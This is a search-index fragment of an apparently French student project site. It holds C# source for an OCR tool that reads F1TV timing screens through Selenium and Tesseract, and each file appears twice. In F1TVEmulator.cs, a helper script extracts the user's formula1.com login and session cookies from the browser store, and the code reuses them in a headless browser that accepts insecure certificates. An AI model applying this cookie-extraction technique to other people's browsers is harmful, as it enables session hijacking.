Reader.cs: Code/Reader.cs # An path to an annex with its title - Zone.cs: Code/Zone.cs # An path to an annex with its title - DriverDrsWindow.cs: Code/DriverDrsWindow.cs # An path to an annex with its title - DriverNameWindow.cs: Code/DriverNameWindow.cs # An path to an annex with its title - DriverTyresWindow.cs: Code/DriverTyresWindow.cs # An path to an annex with its title - OcrImage.cs: Code/OcrImage.cs # An path to an annex with its title - Settings.cs: Code/Settings.cs # An path to an annex with its title - recoverCookiesCSV.py: Code/recoverCookiesCSV.py # An path to an annex with its title Je remercie Monsieur Briard le sultan officiel de Mkdocs de la classe de m'avoir aid\u00e9 pour cette partie et avoir cr\u00e9\u00e9 un plugin qui me permet de mettre mon code source directement dans le pdf. Bon au final j'ai quand m\u00eame chang\u00e9 mon poster \"Poster V8\" Mais je suis trop attach\u00e9 \u00e0 l'ancien concept alors je vais plut\u00f4t utiliser ca : \"Poster V9\"","title":"Mardi 9 Mai 2023"},{"location":"Code/ConfigurationTool.html","text":"ConfigurationTool.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : ConfigurationTool.cs /// Brief : Class that contains all the methods needed to create a config file for the OCR /// Version : 0.1 using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using Tesseract; using System.IO; namespace Test_Merge { public class ConfigurationTool { public Zone MainZone; public const int NUMBER_OF_DRIVERS = 20; public const int NUMBER_OF_ZONES = 9; public const string CONFIGS_FOLDER_NAME = \"./Presets/\"; public ConfigurationTool(Bitmap fullImage, Rectangle mainZoneDimensions) { MainZone = new Zone(fullImage, mainZoneDimensions,\"Main\"); AutoCalibrate(); } public void ResetMainZone() { MainZone.ResetZones(); } public void ResetWindows() { MainZone.ResetWindows(); } public void SaveToJson(List drivers, string configName) { string JSON = \"\"; JSON += \"{\" + Environment.NewLine; JSON += MainZone.ToJSON() + \",\" + Environment.NewLine; JSON += \"\\\"Drivers\\\":[\" + Environment.NewLine; for (int i = 0; i < drivers.Count; i++) { JSON += \"\\\"\" + drivers[i] + \"\\\"\"; if (i < drivers.Count - 1) JSON += \",\"; JSON += Environment.NewLine; } JSON += \"]\" + Environment.NewLine; JSON += \"}\"; if (!Directory.Exists(CONFIGS_FOLDER_NAME)) Directory.CreateDirectory(CONFIGS_FOLDER_NAME); string path = CONFIGS_FOLDER_NAME + configName; if (File.Exists(path + \".json\")) { //We need to create a new name int count = 2; while (File.Exists(path + \"_\" + count + \".json\")) { count++; } path += \"_\" + count + \".json\"; } else { path += \".json\"; } File.WriteAllText(path, JSON); } public void AddWindows(List rectangles) { foreach (Zone driverZone in MainZone.Zones) { Bitmap zoneImage = driverZone.ZoneImage; for (int i = 1; i <= rectangles.Count; i++) { switch (i) { case 1: //First zone should be the driver's Position driverZone.AddWindow(new DriverPositionWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 2: //First zone should be the Gap to leader driverZone.AddWindow(new DriverGapToLeaderWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 3: //First zone should be the driver's Lap Time driverZone.AddWindow(new DriverLapTimeWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 4: //First zone should be the driver's DRS status driverZone.AddWindow(new DriverDrsWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 5: //First zone should be the driver's Tyre's informations driverZone.AddWindow(new DriverTyresWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 6: //First zone should be the driver's Name driverZone.AddWindow(new DriverNameWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 7: //First zone should be the driver's First Sector driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 1, false)); break; case 8: //First zone should be the driver's Second Sector driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 2, false)); break; case 9: //First zone should be the driver's Position Sector driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 3, false)); break; } } } } public void AutoCalibrate() { List detectedText = new List(); List zones = new List(); TesseractEngine engine = new TesseractEngine(Window.TESS_DATA_FOLDER.FullName, \"eng\", EngineMode.Default); Image image = MainZone.ZoneImage; var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image)); Page page = engine.Process(tessImage); using (var iter = page.GetIterator()) { iter.Begin(); do { Rect boundingBox; if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox)) { //var text = iter.GetText(PageIteratorLevel.Word).ToUpper(); //We remove all the rectangles that are definitely too big if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if (boundingBox.X1 > image.Width / 2) { //Now we check if an other square box has been found roughly in the same y axis bool match = false; //The tolerance is roughly half the size that a window will be int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2; foreach (Rectangle rect in detectedText) { if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance) { //There already is a rectangle in this line match = true; } } //if nothing matched we can add it if (!match) detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height)); } } } } while (iter.Next(PageIteratorLevel.Word)); } //DEBUG int i = 1; foreach (Rectangle Rectangle in detectedText) { Rectangle windowRectangle; Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS); Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2); windowRectangle = new Rectangle(windowLocation, windowSize); //We add the driver zones Zone driverZone = new Zone(MainZone.ZoneImage, windowRectangle, \"DriverZone\"); MainZone.AddZone(driverZone); driverZone.ZoneImage.Save(\"Driver\" + i+\".png\"); i++; } } } }","title":"ConfigurationTool.cs"},{"location":"Code/ConfigurationTool.html#configurationtoolcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : ConfigurationTool.cs /// Brief : Class that contains all the methods needed to create a config file for the OCR /// Version : 0.1 using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using Tesseract; using System.IO; namespace Test_Merge { public class ConfigurationTool { public Zone MainZone; public const int NUMBER_OF_DRIVERS = 20; public const int NUMBER_OF_ZONES = 9; public const string CONFIGS_FOLDER_NAME = \"./Presets/\"; public ConfigurationTool(Bitmap fullImage, Rectangle mainZoneDimensions) { MainZone = new Zone(fullImage, mainZoneDimensions,\"Main\"); AutoCalibrate(); } public void ResetMainZone() { MainZone.ResetZones(); } public void ResetWindows() { MainZone.ResetWindows(); } public void SaveToJson(List drivers, string configName) { string JSON = \"\"; JSON += \"{\" + Environment.NewLine; JSON += MainZone.ToJSON() + \",\" + Environment.NewLine; JSON += \"\\\"Drivers\\\":[\" + Environment.NewLine; for (int i = 0; i < drivers.Count; i++) { JSON += \"\\\"\" + drivers[i] + \"\\\"\"; if (i < drivers.Count - 1) JSON += \",\"; JSON += Environment.NewLine; } JSON += \"]\" + Environment.NewLine; JSON += \"}\"; if (!Directory.Exists(CONFIGS_FOLDER_NAME)) Directory.CreateDirectory(CONFIGS_FOLDER_NAME); string path = CONFIGS_FOLDER_NAME + configName; if (File.Exists(path + \".json\")) { //We need to create a new name int count = 2; while (File.Exists(path + \"_\" + count + \".json\")) { count++; } path += \"_\" + count + \".json\"; } else { path += \".json\"; } File.WriteAllText(path, JSON); } public void AddWindows(List rectangles) { foreach (Zone driverZone in MainZone.Zones) { Bitmap zoneImage = driverZone.ZoneImage; for (int i = 1; i <= rectangles.Count; i++) { switch (i) { case 1: //First zone should be the driver's Position driverZone.AddWindow(new DriverPositionWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 2: //First zone should be the Gap to leader driverZone.AddWindow(new DriverGapToLeaderWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 3: //First zone should be the driver's Lap Time driverZone.AddWindow(new DriverLapTimeWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 4: //First zone should be the driver's DRS status driverZone.AddWindow(new DriverDrsWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 5: //First zone should be the driver's Tyre's informations driverZone.AddWindow(new DriverTyresWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 6: //First zone should be the driver's Name driverZone.AddWindow(new DriverNameWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 7: //First zone should be the driver's First Sector driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 1, false)); break; case 8: //First zone should be the driver's Second Sector driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 2, false)); break; case 9: //First zone should be the driver's Position Sector driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 3, false)); break; } } } } public void AutoCalibrate() { List detectedText = new List(); List zones = new List(); TesseractEngine engine = new TesseractEngine(Window.TESS_DATA_FOLDER.FullName, \"eng\", EngineMode.Default); Image image = MainZone.ZoneImage; var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image)); Page page = engine.Process(tessImage); using (var iter = page.GetIterator()) { iter.Begin(); do { Rect boundingBox; if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox)) { //var text = iter.GetText(PageIteratorLevel.Word).ToUpper(); //We remove all the rectangles that are definitely too big if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if (boundingBox.X1 > image.Width / 2) { //Now we check if an other square box has been found roughly in the same y axis bool match = false; //The tolerance is roughly half the size that a window will be int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2; foreach (Rectangle rect in detectedText) { if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance) { //There already is a rectangle in this line match = true; } } //if nothing matched we can add it if (!match) detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height)); } } } } while (iter.Next(PageIteratorLevel.Word)); } //DEBUG int i = 1; foreach (Rectangle Rectangle in detectedText) { Rectangle windowRectangle; Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS); Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2); windowRectangle = new Rectangle(windowLocation, windowSize); //We add the driver zones Zone driverZone = new Zone(MainZone.ZoneImage, windowRectangle, \"DriverZone\"); MainZone.AddZone(driverZone); driverZone.ZoneImage.Save(\"Driver\" + i+\".png\"); i++; } } } }","title":"ConfigurationTool.cs"},{"location":"Code/DriverGapToLeaderWindow.html","text":"DriverGapToLeaderWindow.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverGapToLeaderWindow.cs /// Brief : Window containing infos about the gap to the leader of a driver /// Version : 0.1 using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Test_Merge { internal class DriverGapToLeaderWindow:Window { public DriverGapToLeaderWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"GapToLeader\"; } ///

    /// Decodes the gap to leader using Tesseract OCR /// /// public override async Task DecodePng() { int result = await GetTimeFromPng(WindowImage, OcrImage.WindowType.Gap, Engine); return result; } } }","title":"DriverGapToLeaderWindow.cs"},{"location":"Code/DriverGapToLeaderWindow.html#drivergaptoleaderwindowcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverGapToLeaderWindow.cs /// Brief : Window containing infos about the gap to the leader of a driver /// Version : 0.1 using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Test_Merge { internal class DriverGapToLeaderWindow:Window { public DriverGapToLeaderWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"GapToLeader\"; } /// /// Decodes the gap to leader using Tesseract OCR /// /// public override async Task DecodePng() { int result = await GetTimeFromPng(WindowImage, OcrImage.WindowType.Gap, Engine); return result; } } }","title":"DriverGapToLeaderWindow.cs"},{"location":"Code/DriverPositionWindow.html","text":"DriverPositionWindow.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverPosition.cs /// Brief : Window containing infos about the position of a driver. /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { public class DriverPositionWindow:Window { public DriverPositionWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"Position\"; } /// /// Decodes the position number using Tesseract OCR /// /// The position of the pilot in int public override async Task DecodePng() { string ocrResult = await GetStringFromPng(WindowImage, Engine, \"0123456789\"); int position; try { position = Convert.ToInt32(ocrResult); } catch { position = -1; } return position; } } }","title":"DriverPositionWindow.cs"},{"location":"Code/DriverPositionWindow.html#driverpositionwindowcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverPosition.cs /// Brief : Window containing infos about the position of a driver. /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { public class DriverPositionWindow:Window { public DriverPositionWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"Position\"; } /// /// Decodes the position number using Tesseract OCR /// /// The position of the pilot in int public override async Task DecodePng() { string ocrResult = await GetStringFromPng(WindowImage, Engine, \"0123456789\"); int position; try { position = Convert.ToInt32(ocrResult); } catch { position = -1; } return position; } } }","title":"DriverPositionWindow.cs"},{"location":"Code/F1TVEmulator.html","text":"F1TVEmulator.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : F1TVEmulator.cs /// Brief : Class that contains methods to emulate a browser and navigate the F1TV website /// Version : 0.1 using OpenQA.Selenium; using OpenQA.Selenium.Firefox; using OpenQA.Selenium.Interactions; using OpenQA.Selenium.Support.UI; using System; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.IO; using System.Linq; using System.Text; using System.Threading; using System.Threading.Tasks; namespace Test_Merge { internal class F1TVEmulator { public const string COOKIE_HOST = \".formula1.com\"; public const string PYTHON_COOKIE_RETRIEVAL_FILENAME = \"recoverCookiesCSV.py\"; public const string GECKODRIVER_FILENAME = @\"geckodriver-v0.27.0-win64\\geckodriver.exe\"; //BE CAREFULL IF YOU CHANGE IT HERE YOU NEED TO CHANGE IT IN THE PYTHON SCRIPT TOO public const string COOKIES_CSV_FILENAME = \"cookies.csv\"; private FirefoxDriver Driver; private bool _ready; private string _grandPrixUrl; public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; } public bool Ready { get => _ready; set => _ready = value; } public F1TVEmulator(string grandPrixUrl) { GrandPrixUrl = grandPrixUrl; Ready = false; } private void StartCookieRecovering() { string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME; Process process = new Process(); process.StartInfo.FileName = \"python.exe\"; process.StartInfo.Arguments = scriptPath; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardOutput = true; process.Start(); string output = process.StandardOutput.ReadToEnd(); process.WaitForExit(); } public string GetCookie(string host, string name) { StartCookieRecovering(); string value = \"\"; List cookies = new List(); using (var reader = new StreamReader(COOKIES_CSV_FILENAME)) { // Read the header row and validate column order string header = reader.ReadLine(); string[] expectedColumns = { \"host_key\", \"name\", \"value\", \"path\", \"expires_utc\", \"is_secure\", \"is_httponly\" }; string[] actualColumns = header.Split(','); for (int i = 0; i < expectedColumns.Length; i++) { if (expectedColumns[i] != actualColumns[i]) { throw new InvalidOperationException($\"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'\"); } } // Read each data row and parse values into a Cookie object while (!reader.EndOfStream) { string line = reader.ReadLine(); string[] fields = line.Split(','); string hostname = fields[0]; string cookieName = fields[1]; if (hostname == host && cookieName == name) { value = fields[2]; } } } return value; } public async Task Start() { Ready = false; string loginCookieName = \"login\"; string loginSessionCookieName = \"login-session\"; string loginCookieValue = GetCookie(COOKIE_HOST, loginCookieName); string loginSessionValue = GetCookie(COOKIE_HOST, loginSessionCookieName); int windowWidth = 1920; int windowHeight = 768; var service = FirefoxDriverService.CreateDefaultService(GECKODRIVER_FILENAME); service.Host = \"127.0.0.1\"; service.Port = 5555; FirefoxProfile profile = new FirefoxProfile(); FirefoxOptions options = new FirefoxOptions(); //profile.SetPreference(\"full-screen-api.ignore-widgets\", true); //profile.SetPreference(\"media.hardware-video-decoding.enabled\", true); //profile.SetPreference(\"full-screen-api.enabled\", true); options.Profile = profile; profile.SetPreference(\"layout.css.devPixelsPerPx\", \"1.0\"); options.AcceptInsecureCertificates = true; options.AddArgument(\"--headless\"); //options.AddArgument(\"--start-maximized\"); //options.AddArgument(\"--window-size=1920x1080\"); //options.AddArgument(\"--width=\" + windowWidth); //options.AddArgument(\"--height=\" + windowHeight); //options.AddArgument(\"-window-size=1920x1080\"); //options.AddArgument(\"--width=1920\"); //options.AddArgument(\"--height=1080\"); //profile try { Driver = new FirefoxDriver(service, options); } catch { Ready = false; return 101; } Actions actions = new Actions(Driver); var loginCookie = new Cookie(loginCookieName, loginCookieValue, COOKIE_HOST, \"/\", DateTime.Now.AddDays(5)); var loginSessionCookie = new Cookie(loginSessionCookieName, loginSessionValue, COOKIE_HOST, \"/\", DateTime.Now.AddDays(5)); Driver.Navigate().GoToUrl(\"https://f1tv.formula1.com/\"); Driver.Manage().Cookies.AddCookie(loginCookie); Driver.Manage().Cookies.AddCookie(loginSessionCookie); try { Driver.Navigate().GoToUrl(GrandPrixUrl); } catch { //The url is not a valid url Driver.Dispose(); return 103; } //Waits for the page to fully load Driver.Manage().Timeouts().PageLoad = TimeSpan.FromSeconds(30); //Removes the cookie prompt try { IWebElement conscentButton = Driver.FindElement(By.Id(\"truste-consent-button\")); conscentButton.Click(); } catch { //Could not locate the cookie button Screenshot(\"ERROR104\"); Driver.Dispose(); return 104; } //Again waits for the page to fully load (when you accept cookies it takes a little time for the page to load) //Cannot use The timeout because the feed loading is not really loading so there is not event or anything Thread.Sleep(5000); //Switches to the Data channel try { IWebElement dataChannelButton = Driver.FindElement(By.ClassName(\"data-button\")); dataChannelButton.Click(); } catch { //If the data button does not exists its because the user is not connected Screenshot(\"ERROR102\"); Driver.Dispose(); return 102; } //Open settings // Press the space key, this should make the setting button visible // It does not matter if the feed is paused because when changing channel it autoplays actions.SendKeys(OpenQA.Selenium.Keys.Space).Perform(); //Clicks on the settings Icon int tries = 0; bool success = false; while (tries < 100 && !success) { Thread.Sleep(100); try { IWebElement settingsButton = Driver.FindElement(By.ClassName(\"bmpui-ui-settingstogglebutton\")); settingsButton.Click(); IWebElement selectElement = Driver.FindElement(By.ClassName(\"bmpui-ui-videoqualityselectbox\")); SelectElement select = new SelectElement(selectElement); IWebElement selectOption = selectElement.FindElement(By.CssSelector(\"option[value^='1080_']\")); selectOption.Click(); success = true; } catch { //Sometimes it can crash because it could not get the options to show up in time. When it happens just retry success = false; tries++; } } if (!success) { Screenshot(\"ERROR105\"); Driver.Dispose(); return 105; } Screenshot(\"BEFOREFULLSCREEN\"); //Makes the feed fullscreen //Driver.Manage().Window.Size = new System.Drawing.Size(windowWidth, windowHeight); Driver.Manage().Window.Maximize(); WebDriverWait wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(10)); try { IWebElement fullScreenButton = Driver.FindElement(By.ClassName(\"bmpui-ui-fullscreentogglebutton\")); fullScreenButton.Click(); } catch { Screenshot(\"ERROR106\"); Driver.Dispose(); return 106; } Screenshot(\"AFTERFULLSCREEN\"); //STARTUP FINISHED READY TO SCREENSHOT Ready = true; return 0; } public Bitmap Screenshot(string name = \"TEST\") { Bitmap result = new Bitmap(4242, 6969); try { //Screenshot scrsht = ((ITakesScreenshot)Driver).GetScreenshot(); //profileriver.SetPreference(\"layout.css.devPixelsPerPx\", \"1.0\"); //Screenshot scrsht = Driver.GetFullPageScreenshot(); Screenshot scrsht = Driver.GetScreenshot(); byte[] screenshotBytes = Convert.FromBase64String(scrsht.AsBase64EncodedString); MemoryStream stream = new MemoryStream(screenshotBytes); result = new Bitmap(stream); //result.Save(name + \".png\"); scrsht.SaveAsFile(name + \".png\"); } catch { //Nothing for now } return result; } public void Stop() { Ready = false; Driver.Dispose(); } public void ResetDriver() { Ready = false; Driver.Dispose(); Driver = null; } } }","title":"F1TVEmulator.cs"},{"location":"Code/F1TVEmulator.html#f1tvemulatorcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : F1TVEmulator.cs /// Brief : Class that contains methods to emulate a browser and navigate the F1TV website /// Version : 0.1 using OpenQA.Selenium; using OpenQA.Selenium.Firefox; using OpenQA.Selenium.Interactions; using OpenQA.Selenium.Support.UI; using System; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.IO; using System.Linq; using System.Text; using System.Threading; using System.Threading.Tasks; namespace Test_Merge { internal class F1TVEmulator { public const string COOKIE_HOST = \".formula1.com\"; public const string PYTHON_COOKIE_RETRIEVAL_FILENAME = \"recoverCookiesCSV.py\"; public const string GECKODRIVER_FILENAME = @\"geckodriver-v0.27.0-win64\\geckodriver.exe\"; //BE CAREFULL IF YOU CHANGE IT HERE YOU NEED TO CHANGE IT IN THE PYTHON SCRIPT TOO public const string COOKIES_CSV_FILENAME = \"cookies.csv\"; private FirefoxDriver Driver; private bool _ready; private string _grandPrixUrl; public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; } public bool Ready { get => _ready; set => _ready = value; } public F1TVEmulator(string grandPrixUrl) { GrandPrixUrl = grandPrixUrl; Ready = false; } private void StartCookieRecovering() { string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME; Process process = new Process(); process.StartInfo.FileName = \"python.exe\"; process.StartInfo.Arguments = scriptPath; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardOutput = true; process.Start(); string output = process.StandardOutput.ReadToEnd(); process.WaitForExit(); } public string GetCookie(string host, string name) { StartCookieRecovering(); string value = \"\"; List cookies = new List(); using (var reader = new StreamReader(COOKIES_CSV_FILENAME)) { // Read the header row and validate column order string header = reader.ReadLine(); string[] expectedColumns = { \"host_key\", \"name\", \"value\", \"path\", \"expires_utc\", \"is_secure\", \"is_httponly\" }; string[] actualColumns = header.Split(','); for (int i = 0; i < expectedColumns.Length; i++) { if (expectedColumns[i] != actualColumns[i]) { throw new InvalidOperationException($\"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'\"); } } // Read each data row and parse values into a Cookie object while (!reader.EndOfStream) { string line = reader.ReadLine(); string[] fields = line.Split(','); string hostname = fields[0]; string cookieName = fields[1]; if (hostname == host && cookieName == name) { value = fields[2]; } } } return value; } public async Task Start() { Ready = false; string loginCookieName = \"login\"; string loginSessionCookieName = \"login-session\"; string loginCookieValue = GetCookie(COOKIE_HOST, loginCookieName); string loginSessionValue = GetCookie(COOKIE_HOST, loginSessionCookieName); int windowWidth = 1920; int windowHeight = 768; var service = FirefoxDriverService.CreateDefaultService(GECKODRIVER_FILENAME); service.Host = \"127.0.0.1\"; service.Port = 5555; FirefoxProfile profile = new FirefoxProfile(); FirefoxOptions options = new FirefoxOptions(); //profile.SetPreference(\"full-screen-api.ignore-widgets\", true); //profile.SetPreference(\"media.hardware-video-decoding.enabled\", true); //profile.SetPreference(\"full-screen-api.enabled\", true); options.Profile = profile; profile.SetPreference(\"layout.css.devPixelsPerPx\", \"1.0\"); options.AcceptInsecureCertificates = true; options.AddArgument(\"--headless\"); //options.AddArgument(\"--start-maximized\"); //options.AddArgument(\"--window-size=1920x1080\"); //options.AddArgument(\"--width=\" + windowWidth); //options.AddArgument(\"--height=\" + windowHeight); //options.AddArgument(\"-window-size=1920x1080\"); //options.AddArgument(\"--width=1920\"); //options.AddArgument(\"--height=1080\"); //profile try { Driver = new FirefoxDriver(service, options); } catch { Ready = false; return 101; } Actions actions = new Actions(Driver); var loginCookie = new Cookie(loginCookieName, loginCookieValue, COOKIE_HOST, \"/\", DateTime.Now.AddDays(5)); var loginSessionCookie = new Cookie(loginSessionCookieName, loginSessionValue, COOKIE_HOST, \"/\", DateTime.Now.AddDays(5)); Driver.Navigate().GoToUrl(\"https://f1tv.formula1.com/\"); Driver.Manage().Cookies.AddCookie(loginCookie); Driver.Manage().Cookies.AddCookie(loginSessionCookie); try { Driver.Navigate().GoToUrl(GrandPrixUrl); } catch { //The url is not a valid url Driver.Dispose(); return 103; } //Waits for the page to fully load Driver.Manage().Timeouts().PageLoad = TimeSpan.FromSeconds(30); //Removes the cookie prompt try { IWebElement conscentButton = Driver.FindElement(By.Id(\"truste-consent-button\")); conscentButton.Click(); } catch { //Could not locate the cookie button Screenshot(\"ERROR104\"); Driver.Dispose(); return 104; } //Again waits for the page to fully load (when you accept cookies it takes a little time for the page to load) //Cannot use The timeout because the feed loading is not really loading so there is not event or anything Thread.Sleep(5000); //Switches to the Data channel try { IWebElement dataChannelButton = Driver.FindElement(By.ClassName(\"data-button\")); dataChannelButton.Click(); } catch { //If the data button does not exists its because the user is not connected Screenshot(\"ERROR102\"); Driver.Dispose(); return 102; } //Open settings // Press the space key, this should make the setting button visible // It does not matter if the feed is paused because when changing channel it autoplays actions.SendKeys(OpenQA.Selenium.Keys.Space).Perform(); //Clicks on the settings Icon int tries = 0; bool success = false; while (tries < 100 && !success) { Thread.Sleep(100); try { IWebElement settingsButton = Driver.FindElement(By.ClassName(\"bmpui-ui-settingstogglebutton\")); settingsButton.Click(); IWebElement selectElement = Driver.FindElement(By.ClassName(\"bmpui-ui-videoqualityselectbox\")); SelectElement select = new SelectElement(selectElement); IWebElement selectOption = selectElement.FindElement(By.CssSelector(\"option[value^='1080_']\")); selectOption.Click(); success = true; } catch { //Sometimes it can crash because it could not get the options to show up in time. When it happens just retry success = false; tries++; } } if (!success) { Screenshot(\"ERROR105\"); Driver.Dispose(); return 105; } Screenshot(\"BEFOREFULLSCREEN\"); //Makes the feed fullscreen //Driver.Manage().Window.Size = new System.Drawing.Size(windowWidth, windowHeight); Driver.Manage().Window.Maximize(); WebDriverWait wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(10)); try { IWebElement fullScreenButton = Driver.FindElement(By.ClassName(\"bmpui-ui-fullscreentogglebutton\")); fullScreenButton.Click(); } catch { Screenshot(\"ERROR106\"); Driver.Dispose(); return 106; } Screenshot(\"AFTERFULLSCREEN\"); //STARTUP FINISHED READY TO SCREENSHOT Ready = true; return 0; } public Bitmap Screenshot(string name = \"TEST\") { Bitmap result = new Bitmap(4242, 6969); try { //Screenshot scrsht = ((ITakesScreenshot)Driver).GetScreenshot(); //profileriver.SetPreference(\"layout.css.devPixelsPerPx\", \"1.0\"); //Screenshot scrsht = Driver.GetFullPageScreenshot(); Screenshot scrsht = Driver.GetScreenshot(); byte[] screenshotBytes = Convert.FromBase64String(scrsht.AsBase64EncodedString); MemoryStream stream = new MemoryStream(screenshotBytes); result = new Bitmap(stream); //result.Save(name + \".png\"); scrsht.SaveAsFile(name + \".png\"); } catch { //Nothing for now } return result; } public void Stop() { Ready = false; Driver.Dispose(); } public void ResetDriver() { Ready = false; Driver.Dispose(); Driver = null; } } }","title":"F1TVEmulator.cs"},{"location":"Code/Program.html","text":"Program.cs \ufeffusing System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using System.Windows.Forms; namespace Test_Merge { internal static class Program { /// /// The main entry point for the application. /// [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form1()); } } }","title":"Program.cs"},{"location":"Code/Program.html#programcs","text":"\ufeffusing System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using System.Windows.Forms; namespace Test_Merge { internal static class Program { /// /// The main entry point for the application. /// [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form1()); } } }","title":"Program.cs"},{"location":"Code/Window.html","text":"Window.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : Window.cs /// Brief : Default Window object that is mainly expected to be inherited. /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; using System.IO; using Tesseract; using System.Text.RegularExpressions; using System.Drawing.Drawing2D; namespace Test_Merge { public class Window { private Rectangle _bounds; private Bitmap _image; private string _name; protected TesseractEngine Engine; public Rectangle Bounds { get => _bounds; private set => _bounds = value; } public Bitmap Image { get => _image; set => _image = value; } public string Name { get => _name; protected set => _name = value; } //This will have to be changed if you want to make it run on your machine public static DirectoryInfo TESS_DATA_FOLDER = new DirectoryInfo(@\"C:\\Users\\Moi\\Pictures\\SeleniumScreens\\TessData\"); public Bitmap WindowImage { get { //This little trickery lets you have the image that the window sees Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel); return sample; } } public Window(Bitmap image, Rectangle bounds, bool generateEngine = true) { Image = image; Bounds = bounds; if (generateEngine) { Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, \"eng\", EngineMode.Default); Engine.DefaultPageSegMode = PageSegMode.SingleLine; } } /// /// Method that will have to be used by the childrens to let the model make them decode the images they have /// /// Returns an object because we dont know what kind of return it will be public virtual async Task DecodePng() { return \"NaN\"; } /// /// Method that will have to be used by the childrens to let the model make them decode the images they have /// /// This is a list of the different possible drivers in the race. It should not be too big but NEVER be too short /// Returns an object because we dont know what kind of return it will be public virtual async Task DecodePng(List driverList) { return \"NaN\"; } /// /// This converts an image into a byte[]. It can be usefull when doing unsafe stuff. Use at your own risks /// /// The image you want to convert /// A byte array 